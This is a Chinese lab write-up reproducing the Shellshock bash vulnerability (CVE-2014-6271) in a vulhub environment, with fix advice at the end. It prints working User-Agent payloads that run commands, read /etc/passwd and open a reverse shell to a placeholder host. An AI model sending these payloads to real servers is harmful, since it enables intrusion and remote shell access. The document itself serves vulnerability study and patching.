bash漏洞复现

简介

漏洞环境不另作说明均为vulhub。

参考链接:

在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(command interpreter,命令解析器)。它类似于DOS下的COMMAND.COM和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。(来自百科)

bash漏洞复现

Shellshock 破壳漏洞(CVE-2014-6271)

参考链接:

2014年9月24日bash被公布存在远程代码执行漏洞,漏洞会影响目前主流的操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora 、Amazon Linux 、OS X 10.10等平台。

“破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。

漏洞影响范围:

  • 漏洞影响的系统版本还是挺多的,但鉴于是14年的洞,所以该漏洞对于现在的影响也不是那么大。详细的漏洞影响版本可以参考分析链接,一般来说是bash版本小于等于4.3的可能存在漏洞。

漏洞复现

启动环境,该漏洞环境中存在两个页面:http://your-ip:8080/victim.cgihttp://your-ip:8080/safe.cgi。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。这个环境可能有问题,如果访问的时候出现503,尝试重新启动环境。

访问http://your-ip:8080/victim.cgi页面,在User-Agent中附加payload:

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
User-Agent: () { :; }; echo; /bin/cat /etc/passwd

bash漏洞复现

bash漏洞复现

User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/your-ip/9999 0>&1;

bash漏洞复现

漏洞修复

  1. 进行版本更新。
  2. 更新bash源码,针对ENV命令实现部分,进行边界检查与参数过滤。严格界定函数定义范围,并做合法化的参数的判断。
上一篇:对环境变量配置文件的区分


下一篇:vue2.0类似keep-alive的可控数据持久化的组件@anywo/vue-data-cache 2022-02-22